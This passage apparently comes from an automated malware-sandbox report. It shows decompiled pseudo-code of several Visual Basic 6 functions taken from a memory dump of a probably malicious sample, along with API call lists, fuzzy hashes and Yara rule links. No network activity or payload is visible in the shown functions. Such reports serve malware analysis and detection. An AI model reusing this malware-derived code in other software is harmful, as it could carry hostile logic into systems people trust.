					_t71 =  *((intOrPtr*)( *_v44 + 0x1dc))(_v44,  &_v32, _t67,  *((intOrPtr*)( *((intOrPtr*)( *_v72)) + 0x31c))( *_v72));
					asm("fclex");
					_v48 = _t71;
					if(_v48 >= 0) {
						_v76 = _v76 & 0x00000000;
					} else {
						_push(0x1dc);
						_push(0x40cd6c);
						_push(_v44);
						_push(_v48);
						L0040182C();
						_v76 = _t71;
					}
					_push(0xffeee94c);
					_push(_v28);
					_push(_v32);
					_push(0);
					L00401712();
					_v24 = _t71;
					_push( &_v28);
					_push( &_v32);
					_push(2);
					L004017BA();
					_push( &_v40);
					_t55 =  &_v36;
					_push(_t55);
					_push(2);
					L004017C6();
				}
				_push(0x416d2c);
				return _t55;
			}

0x00416b53
0x00416b5e
0x00416b5f
0x00416b68
0x00416b69
0x00416b71
0x00416b74
0x00416b7b
0x00416b80
0x00416b85
0x00416b86
0x00416b90
0x00416b95
0x00416b96
0x00416b9b
0x00416ba2
0x00416ba8
0x00416baf
0x00416bb4
0x00416bba
0x00416bc7
0x00416be1
0x00416bc9
0x00416bc9
0x00416bce
0x00416bd3
0x00416bd8
0x00416bd8
0x00416bfc
0x00416c00
0x00416c05
0x00416c14
0x00416c1a
0x00416c1c
0x00416c23
0x00416c3f
0x00416c25
0x00416c25
0x00416c2a
0x00416c2f
0x00416c32
0x00416c35
0x00416c3a
0x00416c3a
0x00416c4a
0x00416c64
0x00416c4c
0x00416c4c
0x00416c51
0x00416c56
0x00416c5b
0x00416c5b
0x00416c7f
0x00416c83
0x00416c88
0x00416c97
0x00416c9d
0x00416c9f
0x00416ca6
0x00416cc2
0x00416ca8
0x00416ca8
0x00416cad
0x00416cb2
0x00416cb5
0x00416cb8
0x00416cbd
0x00416cbd
0x00416cc6
0x00416ccb
0x00416cce
0x00416cd1
0x00416cd3
0x00416cd8
0x00416cde
0x00416ce2
0x00416ce3
0x00416ce5
0x00416cf0
0x00416cf1
0x00416cf4
0x00416cf5
0x00416cf7
0x00416cfc
0x00416cff
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,00401676), ref: 00416B69
__vbaI4Str.MSVBVM60(0040CEAC,?,?,?,?,00401676), ref: 00416B80
#697.MSVBVM60(00000000,0040CEAC,?,?,?,?,00401676), ref: 00416B86
__vbaStrMove.MSVBVM60(00000000,0040CEAC,?,?,?,?,00401676), ref: 00416B90
__vbaStrCmp.MSVBVM60(0040CE54,00000000,00000000,0040CEAC,?,?,?,?,00401676), ref: 00416B9B
__vbaFreeStr.MSVBVM60(0040CE54,00000000,00000000,0040CEAC,?,?,?,?,00401676), ref: 00416BAF
__vbaNew2.MSVBVM60(0040C210,00418010,0040CE54,00000000,00000000,0040CEAC,?,?,?,?,00401676), ref: 00416BD3
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,0040CE54,00000000,00000000,0040CEAC,?,?,?,?,00401676), ref: 00416C00
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040CDA0,000001E0,?,?,?,?,0040CE54,00000000,00000000,0040CEAC), ref: 00416C35
__vbaNew2.MSVBVM60(0040C210,00418010,?,?,?,?,0040CE54,00000000,00000000,0040CEAC,?,?,?,?,00401676), ref: 00416C56
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,0040CE54,00000000,00000000,0040CEAC), ref: 00416C83
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040CD6C,000001DC,?,?,?,?,?,?,0040CE54,00000000,00000000,0040CEAC), ref: 00416CB8
__vbaInStr.MSVBVM60(00000000,?,?,FFEEE94C,?,?,?,?,?,?,0040CE54,00000000,00000000,0040CEAC), ref: 00416CD3
__vbaFreeStrList.MSVBVM60(00000002,?,?,00000000,?,?,FFEEE94C,?,?,?,?,?,?,0040CE54,00000000,00000000), ref: 00416CE5
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 00416CF7

Memory Dump Source

Source File: 00000000.00000002.458790591.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.458782497.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.458807026.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.458812048.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckHresultListNew2$#697ChkstkMove
String ID:
API String ID: 2503063657-0
Opcode ID: a0ec9ce48a9ea9c42170a355be759442d3956067084a71f71fd5088808f17d4c
Instruction ID: 98b25ac8d553ccf25482a95a268b0a3f70e0ac738e8e1b317807a002657ac9d0
Opcode Fuzzy Hash: a0ec9ce48a9ea9c42170a355be759442d3956067084a71f71fd5088808f17d4c
Instruction Fuzzy Hash: DB511C71D40208AFCB11EFA1C885FEEBBB8AF08704F10452AF501B72A1DB799945DB69

Uniqueness

Uniqueness Score: -1.00%

Function 004174AC, Relevance: 21.2, APIs: 14, Instructions: 200
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E004174AC(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, long long __fp0, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				long long* _v16;
				char _v28;
				char _v32;
				intOrPtr _v40;
				char _v48;
				char _v56;
				char _v64;
				char _v100;
				char _v104;
				void* _v108;
				signed int _v112;
				char _v116;
				signed int _v120;
				signed int _v124;
				signed int _v136;
				char _v140;
				signed int _v144;
				char _v148;
				signed int _v152;
				signed long long _v156;
				signed int _v160;
				char _v164;
				signed int _v168;
				char* _t86;
				char* _t90;
				signed int _t94;
				char* _t98;
				signed int _t102;
				signed int _t105;
				intOrPtr _t114;
				void* _t117;
				void* _t119;
				long long* _t120;
				intOrPtr* _t121;
				signed long long _t134;
				void* _t138;
				void* _t139;

				_t120 = _t119 - 0xc;
				 *[fs:0x0] = _t120;
				L00401670();
				_v16 = _t120;
				_v12 = 0x401660;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x401676, _t117);
				_v56 = 0x80020004;
				_v64 = 0xa;
				_v40 = 0x80020004;
				_v48 = 0xa;
				_push( &_v64);
				_push( &_v48);
				asm("fld1");
				_v56 = __fp0;
				asm("fld1");
				_v64 = __fp0;
				asm("fld1");
				 *_t120 = __fp0;
				L00401700();
				L0040177E();
				asm("fcomp qword [0x401658]");
				asm("fnstsw ax");
				asm("sahf");
				if(__eflags == 0) {
					_t14 =  &_v136;
					 *_t14 = _v136 & 0x00000000;
					__eflags =  *_t14;
				} else {
					_v136 = 1;
				}
				_v108 =  ~_v136;
				_push( &_v64);
				_push( &_v48);
				_push(2);
				L00401814();
				_t121 = _t120 + 0xc;
				_t86 = _v108;
				if(_t86 != 0) {
					if( *0x418010 != 0) {
						_v140 = 0x418010;
					} else {
						_push(0x418010);
						_push(0x40c210);
						L00401832();
						_v140 = 0x418010;
					}
					_t90 =  &_v28;
					L004017CC();
					_v108 = _t90;
					_t94 =  *((intOrPtr*)( *_v108 + 0x68))(_v108,  &_v100, _t90,  *((intOrPtr*)( *((intOrPtr*)( *_v140)) + 0x308))( *_v140));
					asm("fclex");
					_v112 = _t94;
					if(_v112 >= 0) {
						_t37 =  &_v144;
						 *_t37 = _v144 & 0x00000000;
						__eflags =  *_t37;
					} else {
						_push(0x68);
						_push(0x40ce10);
						_push(_v108);
						_push(_v112);
						L0040182C();
						_v144 = _t94;
					}
					if( *0x418010 != 0) {
						_v148 = 0x418010;
					} else {
						_push(0x418010);
						_push(0x40c210);
						L00401832();
						_v148 = 0x418010;
					}
					_t114 =  *((intOrPtr*)( *_v148));
					_t98 =  &_v32;
					L004017CC();
					_v116 = _t98;
					_t102 =  *((intOrPtr*)( *_v116 + 0x120))(_v116,  &_v104, _t98,  *((intOrPtr*)(_t114 + 0x310))( *_v148));
					asm("fclex");
					_v120 = _t102;
					if(_v120 >= 0) {
						_t55 =  &_v152;
						 *_t55 = _v152 & 0x00000000;
						__eflags =  *_t55;
					} else {
						_push(0x120);
						_push(0x40cd34);
						_push(_v116);
						_push(_v120);
						L0040182C();
						_v152 = _t102;
					}
					_push(_t114);
					_v116 =  *0x401650;
					_t134 =  *0x401648 *  *0x401640;
					if( *0x418000 != 0) {
						_push( *0x40163c);
						_push( *0x401638);
						L00401694();
					} else {
						_t134 = _t134 /  *0x401638;
					}
					_v156 = _t134;
					 *_t121 = _v156;
					 *_t121 =  *0x401630;
					L0040178A();
					_t138 =  *0x401620;
					_v140 = _t138;
					asm("fild dword [ebp-0x64]");
					_v160 = _t138;
					_t139 = _v160;
					_v144 = _t139;
					asm("fild dword [ebp-0x60]");
					_v164 = _t139;
					_v148 = _v164;
					_t105 =  *((intOrPtr*)( *_a4 + 0x2c0))(_a4, 0x1c2, _t114, _t114, _t114, _t102, _t114, _t114);
					asm("fclex");
					_v124 = _t105;
					if(_v124 >= 0) {
						_t71 =  &_v168;
						 *_t71 = _v168 & 0x00000000;
						__eflags =  *_t71;
					} else {
						_push(0x2c0);
						_push(0x40ca30);
						_push(_a4);
						_push(_v124);
						L0040182C();
						_v168 = _t105;
					}
					_push( &_v32);
					_t86 =  &_v28;
					_push(_t86);
					_push(2);
					L004017C6();
				}
				asm("wait");
				_push(0x4177ad);
				return _t86;
			}

0x004174af
0x004174be
0x004174ca
0x004174d2
0x004174d5
0x004174dc
0x004174eb
0x004174ee
0x004174f5
0x004174fc
0x00417503
0x0041750d
0x00417511
0x00417512
0x00417516
0x00417519
0x0041751d
0x00417520
0x00417524
0x00417527
0x0041752c
0x00417531
0x00417537
0x00417539
0x0041753a
0x00417548
0x00417548
0x00417548
0x0041753c
0x0041753c
0x0041753c
0x00417557
0x0041755e
0x00417562
0x00417563
0x00417565
0x0041756a
0x0041756d
0x00417573
0x00417580
0x0041759d
0x00417582
0x00417582
0x00417587
0x0041758c
0x00417591
0x00417591
0x004175c1
0x004175c5
0x004175ca
0x004175d9
0x004175dc
0x004175de
0x004175e5
0x00417601
0x00417601
0x00417601
0x004175e7
0x004175e7
0x004175e9
0x004175ee
0x004175f1
0x004175f4
0x004175f9
0x004175f9
0x0041760f
0x0041762c
0x00417611
0x00417611
0x00417616
0x0041761b
0x00417620
0x00417620
0x00417646
0x00417650
0x00417654
0x00417659
0x00417668
0x0041766e
0x00417670
0x00417677
0x00417696
0x00417696
0x00417696
0x00417679
0x00417679
0x0041767e
0x00417683
0x00417686
0x00417689
0x0041768e
0x0041768e
0x004176a3
0x004176a4
0x004176ad
0x004176ba
0x004176c4
0x004176ca
0x004176d0
0x004176bc
0x004176bc
0x004176bc
0x004176d5
0x004176e2
0x004176ec
0x004176f5
0x004176fb
0x00417702
0x00417705
0x00417708
0x0041770e
0x00417715
0x00417718
0x0041771b
0x00417728
0x00417738
0x0041773e
0x00417740
0x00417747
0x00417766
0x00417766
0x00417766
0x00417749
0x00417749
0x0041774e
0x00417753
0x00417756
0x00417759
0x0041775e
0x0041775e
0x00417770
0x00417771
0x00417774
0x00417775
0x00417777
0x0041777c
0x0041777f
0x00417780
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,00401676), ref: 004174CA
#676.MSVBVM60(?,?,?,?,?,?,0000000A,0000000A), ref: 00417527
__vbaFpR8.MSVBVM60(?,?,?,?,?,?,0000000A,0000000A), ref: 0041752C
__vbaFreeVarList.MSVBVM60(00000002,0000000A,0000000A), ref: 00417565
__vbaNew2.MSVBVM60(0040C210,00418010,?,?,00401676), ref: 0041758C
__vbaObjSet.MSVBVM60(?,00000000), ref: 004175C5
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040CE10,00000068), ref: 004175F4
__vbaNew2.MSVBVM60(0040C210,00418010), ref: 0041761B
__vbaObjSet.MSVBVM60(?,00000000), ref: 00417654
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040CD34,00000120), ref: 00417689
_adj_fdiv_m64.MSVBVM60 ref: 004176D0
__vbaFpI4.MSVBVM60 ref: 004176F5
__vbaHresultCheckObj.MSVBVM60(00000000,00401660,0040CA30,000002C0,?,?,?,00000000), ref: 00417759
__vbaFreeObjList.MSVBVM60(00000002,?,?,?,?,?,00000000), ref: 00417777

Memory Dump Source

Source File: 00000000.00000002.458790591.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.458782497.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.458807026.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.458812048.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckHresult$FreeListNew2$#676Chkstk_adj_fdiv_m64
String ID:
API String ID: 2435310203-0
Opcode ID: 13ed77cf08c1e794be9fba6d2aecc3872fa6feb16d665956abead32644c2797a
Instruction ID: 59bec21917e6e8c0d91c057dbcf7813eafc24e29273c7694e9999b044d2cd1b1
Opcode Fuzzy Hash: 13ed77cf08c1e794be9fba6d2aecc3872fa6feb16d665956abead32644c2797a
Instruction Fuzzy Hash: 7A814971904208EFDB11DFA0CC49BEDBBB8FB08304F1085AAE149B72A1CB795995DF19

Uniqueness

Uniqueness Score: -1.00%

Function 00416D3F, Relevance: 15.1, APIs: 10, Instructions: 121
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E00416D3F(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v28;
				char _v32;
				char _v36;
				char _v40;
				intOrPtr _v48;
				intOrPtr _v56;
				intOrPtr* _v60;
				signed int _v64;
				intOrPtr* _v68;
				signed int _v72;
				intOrPtr* _v84;
				intOrPtr* _v88;
				signed int _v92;
				signed int _v96;
				char* _t58;
				char* _t62;
				signed int _t66;
				signed int _t70;
				char* _t72;
				void* _t85;
				void* _t87;
				intOrPtr _t88;

				_t88 = _t87 - 0xc;
				 *[fs:0x0] = _t88;
				L00401670();
				_v16 = _t88;
				_v12 = 0x4015b0;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x48,  *[fs:0x0], 0x401676, _t85);
				if( *0x418010 != 0) {
					_v84 = 0x418010;
				} else {
					_push(0x418010);
					_push(0x40c210);
					L00401832();
					_v84 = 0x418010;
				}
				_push( *((intOrPtr*)( *((intOrPtr*)( *_v84)) + 0x300))( *_v84));
				_t58 =  &_v40;
				_push(_t58);
				L004017CC();
				_v68 = _t58;
				_v48 = 0x80020004;
				_v56 = 0xa;
				if( *0x418010 != 0) {
					_v88 = 0x418010;
				} else {
					_push(0x418010);
					_push(0x40c210);
					L00401832();
					_v88 = 0x418010;
				}
				_t62 =  &_v36;
				L004017CC();
				_v60 = _t62;
				_t66 =  *((intOrPtr*)( *_v60 + 0x120))(_v60,  &_v32, _t62,  *((intOrPtr*)( *((intOrPtr*)( *_v88)) + 0x300))( *_v88));
				asm("fclex");
				_v64 = _t66;
				if(_v64 >= 0) {
					_v92 = _v92 & 0x00000000;
				} else {
					_push(0x120);
					_push(0x40cd7c);
					_push(_v60);
					_push(_v64);
					L0040182C();
					_v92 = _t66;
				}
				L00401670();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t70 =  *((intOrPtr*)( *_v68 + 0x1ec))(_v68, _v32, 0x10);
				asm("fclex");
				_v72 = _t70;
				if(_v72 >= 0) {
					_v96 = _v96 & 0x00000000;
				} else {
					_push(0x1ec);
					_push(0x40cd7c);
					_push(_v68);
					_push(_v72);
					L0040182C();
					_v96 = _t70;
				}
				L004017E4();
				_push( &_v40);
				_t72 =  &_v36;
				_push(_t72);
				_push(2);
				L004017C6();
				_v28 =  *0x4015a8;
				asm("wait");
				_push(0x416eea);
				return _t72;
			}

0x00416d42
0x00416d51
0x00416d5b
0x00416d63
0x00416d66
0x00416d6d
0x00416d7c
0x00416d86
0x00416da0
0x00416d88
0x00416d88
0x00416d8d
0x00416d92
0x00416d97
0x00416d97
0x00416dba
0x00416dbb
0x00416dbe
0x00416dbf
0x00416dc4
0x00416dc7
0x00416dce
0x00416ddc
0x00416df6
0x00416dde
0x00416dde
0x00416de3
0x00416de8
0x00416ded
0x00416ded
0x00416e11
0x00416e15
0x00416e1a
0x00416e29
0x00416e2f
0x00416e31
0x00416e38
0x00416e54
0x00416e3a
0x00416e3a
0x00416e3f
0x00416e44
0x00416e47
0x00416e4a
0x00416e4f
0x00416e4f
0x00416e5b
0x00416e65
0x00416e66
0x00416e67
0x00416e68
0x00416e74
0x00416e7a
0x00416e7c
0x00416e83
0x00416e9f
0x00416e85
0x00416e85
0x00416e8a
0x00416e8f
0x00416e92
0x00416e95
0x00416e9a
0x00416e9a
0x00416ea6
0x00416eae
0x00416eaf
0x00416eb2
0x00416eb3
0x00416eb5
0x00416ec3
0x00416ec6
0x00416ec7
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,00401676), ref: 00416D5B
__vbaNew2.MSVBVM60(0040C210,00418010,?,?,?,?,00401676), ref: 00416D92
__vbaObjSet.MSVBVM60(?,00000000), ref: 00416DBF
__vbaNew2.MSVBVM60(0040C210,00418010,?,00000000), ref: 00416DE8
__vbaObjSet.MSVBVM60(?,00000000), ref: 00416E15
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040CD7C,00000120), ref: 00416E4A
__vbaChkstk.MSVBVM60 ref: 00416E5B
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040CD7C,000001EC), ref: 00416E95
__vbaFreeStr.MSVBVM60 ref: 00416EA6
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 00416EB5

Memory Dump Source

Source File: 00000000.00000002.458790591.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.458782497.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.458807026.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.458812048.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckChkstkFreeHresultNew2$List
String ID:
API String ID: 2926503497-0
Opcode ID: a32124d4bc9f925fa61d332499e934ca3e52e730b9951ca3295136a9342e30df
Instruction ID: 61678e75e188f0974afede802b290a3c3f0a528685a28b86170b285044d8411b
Opcode Fuzzy Hash: a32124d4bc9f925fa61d332499e934ca3e52e730b9951ca3295136a9342e30df
Instruction Fuzzy Hash: 78410475E00208EFCB01DFE0D845BDEBBB5BF08704F10446AF501AB2A1CB799949DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00417009, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00417009(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				short _v28;
				void* _v32;
				intOrPtr* _v36;
				signed int _v40;
				intOrPtr* _v44;
				signed int _v48;
				intOrPtr* _v60;
				signed int _v64;
				signed int _v68;
				signed int _t40;
				signed int _t46;
				void* _t54;
				void* _t56;
				intOrPtr _t57;

				_t57 = _t56 - 0xc;
				 *[fs:0x0] = _t57;
				L00401670();
				_v16 = _t57;
				_v12 = 0x4015d8;
				_v8 = 0;
				_t40 =  *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x2c,  *[fs:0x0], 0x401676, _t54);
				_push(0x40ceb8);
				_push(0x40ceb8);
				L004017A8();
				if(_t40 != 0) {
					if( *0x41839c != 0) {
						_v60 = 0x41839c;
					} else {
						_push(0x41839c);
						_push(0x40cc6c);
						L00401832();
						_v60 = 0x41839c;
					}
					_v36 =  *_v60;
					_t46 =  *((intOrPtr*)( *_v36 + 0x1c))(_v36,  &_v32);
					asm("fclex");
					_v40 = _t46;
					if(_v40 >= 0) {
						_v64 = _v64 & 0x00000000;
					} else {
						_push(0x1c);
						_push(0x40cc5c);
						_push(_v36);
						_push(_v40);
						L0040182C();
						_v64 = _t46;
					}
					_v44 = _v32;
					_t40 =  *((intOrPtr*)( *_v44 + 0x50))(_v44);
					asm("fclex");
					_v48 = _t40;
					if(_v48 >= 0) {
						_v68 = _v68 & 0x00000000;
					} else {
						_push(0x50);
						_push(0x40ce00);
						_push(_v44);
						_push(_v48);
						L0040182C();
						_v68 = _t40;
					}
					L00401826();
				}
				_v28 = 0x2538;
				_push(0x41711b);
				return _t40;
			}

0x0041700c
0x0041701b
0x00417025
0x0041702d
0x00417030
0x00417037
0x00417046
0x00417049
0x0041704e
0x00417053
0x0041705a
0x00417067
0x00417081
0x00417069
0x00417069
0x0041706e
0x00417073
0x00417078
0x00417078
0x0041708d
0x0041709c
0x0041709f
0x004170a1
0x004170a8
0x004170c1
0x004170aa
0x004170aa
0x004170ac
0x004170b1
0x004170b4
0x004170b7
0x004170bc
0x004170bc
0x004170c8
0x004170d3
0x004170d6
0x004170d8
0x004170df
0x004170f8
0x004170e1
0x004170e1
0x004170e3
0x004170e8
0x004170eb
0x004170ee
0x004170f3
0x004170f3
0x004170ff
0x004170ff
0x00417104
0x0041710a
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,00401676), ref: 00417025
__vbaStrCmp.MSVBVM60(0040CEB8,0040CEB8,?,?,?,?,00401676), ref: 00417053
__vbaNew2.MSVBVM60(0040CC6C,0041839C,0040CEB8,0040CEB8,?,?,?,?,00401676), ref: 00417073
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040CC5C,0000001C), ref: 004170B7
__vbaHresultCheckObj.MSVBVM60(00000000,0040CEB8,0040CE00,00000050), ref: 004170EE
__vbaFreeObj.MSVBVM60 ref: 004170FF

Strings

8%, xrefs: 00417104

Memory Dump Source

Source File: 00000000.00000002.458790591.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.458782497.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.458807026.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.458812048.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckHresult$ChkstkFreeNew2
String ID: 8%
API String ID: 1616694062-490895939
Opcode ID: 4bbd1b7964fe14b71d675dcb756dfcbd9ba6fae03ce739dea2c2bd71c8c6c091
Instruction ID: 8adc893b9229c3b6e6cefbac065cb2809db6d64ebbd3ef4b109ae93b1f3f2911
Opcode Fuzzy Hash: 4bbd1b7964fe14b71d675dcb756dfcbd9ba6fae03ce739dea2c2bd71c8c6c091
Instruction Fuzzy Hash: F331F475D40208EFDB10AFA5D885BDEBBB4BF08714F20806AF501B72A1C7795985CF69

Uniqueness

Uniqueness Score: -1.00%

Function 0041739E, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E0041739E(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				long long _v28;
				char _v32;
				intOrPtr _v40;
				intOrPtr _v48;
				intOrPtr* _v52;
				signed int _v56;
				intOrPtr* _v64;
				signed int _v68;
				char* _t30;
				signed int _t34;
				intOrPtr _t47;

				_push(0x401676);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t47;
				_push(0x30);
				L00401670();
				_v12 = _t47;
				_v8 = 0x401610;
				if( *0x418010 != 0) {
					_v64 = 0x418010;
				} else {
					_push(0x418010);
					_push(0x40c210);
					L00401832();
					_v64 = 0x418010;
				}
				_t30 =  &_v32;
				L004017CC();
				_v52 = _t30;
				_v40 = 0x80020004;
				_v48 = 0xa;
				L00401670();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t34 =  *((intOrPtr*)( *_v52 + 0x1ec))(_v52, L"Synodsman", 0x10, _t30,  *((intOrPtr*)( *((intOrPtr*)( *_v64)) + 0x300))( *_v64));
				asm("fclex");
				_v56 = _t34;
				if(_v56 >= 0) {
					_v68 = _v68 & 0x00000000;
				} else {
					_push(0x1ec);
					_push(0x40cd7c);
					_push(_v52);
					_push(_v56);
					L0040182C();
					_v68 = _t34;
				}
				L00401826();
				_v28 =  *0x401608;
				asm("wait");
				_push(0x417491);
				return _t34;
			}

0x004173a3
0x004173ae
0x004173af
0x004173b6
0x004173b9
0x004173c1
0x004173c4
0x004173d2
0x004173ec
0x004173d4
0x004173d4
0x004173d9
0x004173de
0x004173e3
0x004173e3
0x00417407
0x0041740b
0x00417410
0x00417413
0x0041741a
0x00417424
0x0041742e
0x0041742f
0x00417430
0x00417431
0x0041743f
0x00417445
0x00417447
0x0041744e
0x0041746a
0x00417450
0x00417450
0x00417455
0x0041745a
0x0041745d
0x00417460
0x00417465
0x00417465
0x00417471
0x0041747c
0x0041747f
0x00417480
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,00401676), ref: 004173B9
__vbaNew2.MSVBVM60(0040C210,00418010,?,?,?,?,00401676), ref: 004173DE
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00401676), ref: 0041740B
__vbaChkstk.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00401676), ref: 00417424
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040CD7C,000001EC), ref: 00417460
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401676), ref: 00417471

Strings

Synodsman, xrefs: 00417432

Memory Dump Source

Source File: 00000000.00000002.458790591.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.458782497.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.458807026.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.458812048.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Chkstk$CheckFreeHresultNew2
String ID: Synodsman
API String ID: 3189907775-3208247716
Opcode ID: 072dbd8902653d8aefcbc7db91376aa9bfa2b007c9a77cff42d65a24484c6336
Instruction ID: 2c0d19cb85b34fcf4681b3744054085249cec88b8c0b0e9b1f1c5bc702e4fced
Opcode Fuzzy Hash: 072dbd8902653d8aefcbc7db91376aa9bfa2b007c9a77cff42d65a24484c6336
Instruction Fuzzy Hash: 5D214671D01608EBCB00EF91D886BDEBBB9BB09704F20482AF401B72A1CBB95941CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00416F11, Relevance: 10.6, APIs: 7, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E00416F11(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v28;
				void* _v32;
				signed int _v36;
				signed int _v48;
				signed int _t26;
				signed int _t30;
				void* _t39;
				void* _t41;
				intOrPtr _t42;

				_t42 = _t41 - 0xc;
				 *[fs:0x0] = _t42;
				L00401670();
				_v16 = _t42;
				_v12 = 0x4015c8;
				_v8 = 0;
				_t26 =  *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x18,  *[fs:0x0], 0x401676, _t39);
				_push(0x40cd90);
				L0040170C();
				L00401838();
				_push(_t26);
				_push(0x40ce54);
				L004017A8();
				asm("sbb eax, eax");
				_v36 =  ~( ~( ~_t26));
				L004017E4();
				_t30 = _v36;
				if(_t30 != 0) {
					L0040178A();
					_t30 =  *((intOrPtr*)( *_a4 + 0x64))(_a4, _t30);
					asm("fclex");
					_v36 = _t30;
					if(_v36 >= 0) {
						_v48 = _v48 & 0x00000000;
					} else {
						_push(0x64);
						_push(0x40ca30);
						_push(_a4);
						_push(_v36);
						L0040182C();
						_v48 = _t30;
					}
				}
				_v28 = 0x1c7cd;
				asm("wait");
				_push(0x416fe2);
				return _t30;
			}

0x00416f14
0x00416f23
0x00416f2d
0x00416f35
0x00416f38
0x00416f3f
0x00416f4e
0x00416f51
0x00416f56
0x00416f60
0x00416f65
0x00416f66
0x00416f6b
0x00416f72
0x00416f78
0x00416f7f
0x00416f84
0x00416f8a
0x00416f92
0x00416fa0
0x00416fa3
0x00416fa5
0x00416fac
0x00416fc5
0x00416fae
0x00416fae
0x00416fb0
0x00416fb5
0x00416fb8
0x00416fbb
0x00416fc0
0x00416fc0
0x00416fac
0x00416fc9
0x00416fd0
0x00416fd1
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,00401676), ref: 00416F2D
#517.MSVBVM60(0040CD90,?,?,?,?,00401676), ref: 00416F56
__vbaStrMove.MSVBVM60(0040CD90,?,?,?,?,00401676), ref: 00416F60
__vbaStrCmp.MSVBVM60(0040CE54,00000000,0040CD90,?,?,?,?,00401676), ref: 00416F6B
__vbaFreeStr.MSVBVM60(0040CE54,00000000,0040CD90,?,?,?,?,00401676), ref: 00416F7F
__vbaFpI4.MSVBVM60(0040CE54,00000000,0040CD90,?,?,?,?,00401676), ref: 00416F92
__vbaHresultCheckObj.MSVBVM60(00000000,004015C8,0040CA30,00000064), ref: 00416FBB

Memory Dump Source

Source File: 00000000.00000002.458790591.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.458782497.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.458807026.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.458812048.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$#517CheckChkstkFreeHresultMove
String ID:
API String ID: 784654537-0
Opcode ID: 31757d5b4f04e92669920e557ceab135115038301756eb4bcab579db51cbd920
Instruction ID: 5eb7d0764dfbdd7c20bc57c85c779f5485d342ac7c79f269cc0a3c36b6e1af71
Opcode Fuzzy Hash: 31757d5b4f04e92669920e557ceab135115038301756eb4bcab579db51cbd920
Instruction Fuzzy Hash: 4221EA75A40209EFCB01AFA5D845FDD7BB4BF18B45F10812AF401BB1E0DB7C95458B99

Uniqueness

